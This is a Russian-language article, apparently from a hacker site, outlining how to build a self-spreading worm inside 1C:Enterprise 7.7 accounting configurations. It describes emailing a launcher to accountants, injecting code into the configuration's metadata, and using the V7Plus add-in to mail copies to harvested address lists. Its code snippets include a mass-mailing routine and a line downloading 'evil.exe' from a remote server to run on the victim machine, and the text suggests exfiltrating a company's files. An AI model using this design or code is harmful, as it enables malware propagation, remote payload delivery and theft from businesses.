Отмазка: В этой статье не будет никаких
готовых рецептов, скорее это теоретические
выкладки, которые вполне можно довести до
ума и воплотить в жизнь. 

Итак, начнем пожалуй. Что мы имеем, что
хотим получить? Предположим, что у нас есть
стандартная конфигурация (да в общем говоря
любая) одной из компонент 1С версии 7.7. Мы
хотим реализовать, используя ее, некий
червь или вирус, который попадал бы на
машину и распространялся, нанося
компьютеру некие вредоносные действия. 

Извне

Любому, знакомому с 1С известно, что
никакие файлы 1С сама по себе не запускает.
Следовательно передать ей для исполнения
ничего не получится (возможно я и ошибаюсь -
если профессионалы меня поправят, то я с
радостью соглашусь). Мораль сего действа
проста - для начала эпидемии придется
писать exe-шник, который будет инициировать
работу вируса. Каким мне видится алгоритм
его работы? Исполняемая часть должна
прибывать на компьютер жертвы по
электронной почте и запускаться либо сама,
либо недалеким юзером (все знают какие
толковые тетки сидят в бухгалтерии, да? :).
Это, пожалуй, самый критический пункт во
всей программе заражения, однако он не
столь уж невероятен. Сами знаете как любя
админы ставить патчи на Outlook, да и антивирус,
по идее, ничего мерзопакостного в программе
обнаружить не должен... Впрочем об этом
дальше. Итак, запустившись на машине
программа должна найти одну или все базы 1С
по файлу 1cv7.md. Можно прочитать из реестра
все установленные на компьютере базы, можно
организовать поиск - это не суть важно.

Внутри

Хоть 1С и не умеет запускать файлы, у нее,
что замечательно, есть встроенный язык,
который вполне сойдет для наших целей.
Вариантов внедрения в язык два. Во-первых,
можно заменить один из внешних
ежеквартальных отчетов. Это долгий и
экстенсивный путь. Более быстро -
проникнуть в конфигурацию на файловом
уровне и дописать туда свои процедуры.
Проблема на данном этапе состоит в том, что
официальное описание структуры файла Main
Metadata Stream, в котором собственно и содержится
конфигурация, отсутствует. Наши умельцы,
само собой, давно определили что там и зачем
и вы можете найти данные о содержании файла
в Google. Например, вот на этой странице (mdeditor.narod.ru)
есть инструменты для работы с MD файлами, а тут
(http://1l.w4b.ru/download/)
- другие утилиты, значит все не так уж и
плохо :).

В один из отчетов (лучше, конечно, взять
такой, который используется не слишком
часто, но и не слишком редко) мы должны
добавить свой модуль, который бы производил
требуемые нам действия. Что он будет делать?
Прежде всего рассылать себя по почте (за
почту, чтение из Инета и прочее отвечает
внешняя компонента V7Plus, так что читайте
доки по ней), например инициализировать
соединение так:

ЗагрузитьВнешнююКомпоненту(ПутьФайлаОбработки+"v7plus.dll")
Попытка
 Почта = СоздатьОбъект("AddIn.V7Mail");
Исключение 
 Сообщить("Не удалось создать объект Addin.V7Mail!");
КонецПопытки;

Рассылаемся так:

Почта.Подключиться();
Почта.НовоеСообщение();
Почта.ДобавитьАдрес(Адрес);
Почта.ДобавитьФайл(Файл);
Почта.Заголовок=Заголовок;
Почта.Текст=Текст;
Почта.Послать(1);
Почта.Отключиться();

Список мыл можно положить где-нибудь в
Интернете и постепенно подкачивать его в 1С,
благо для этого добрые создатели V7Plus
предусмотрели объект V7HttpReader - им можно
получить любой файл из Интернета и положить
его в любое место на диске:

Попытка 
 HTTPСоединение.ПолучитьКакФайл(''http://www.ResourceServer.ru/res/evil.exe',
''c:\winnt\runme.exe'');
Исключение
 Сообщить(HTTPСоединение.СтрокаСостоянияОтвета) ;
КонецПопытки ;

Естественно, так можно получать не только
список мыл для рассылки, но и трояны,
руткиты и прочее, прочее, прочее. С помощью
других средств 1С можно создавать и править
файлы, и таким образом всего одно
проникновение в 1С может привести к полной
компрометации всей машины, всей сетки в
офисе. Отметьте, что для внешнего взора все
это "затеняется" работой самой 1С, так
что вероятность обнаружения несколько
снижается. Кстати говоря, тем же HttpReader можно
не только получать файлы, но и отправлять их
- за это отвечает функция
ОтправитьДляОбработки(). Так что если вы
хотите быть в курсе всех операций
подопытной конторы - флаг вам в руки.

Ну вот собственно и вся идея в теории.
Комментарии и дополнения приветствуются :).

Оставить мнение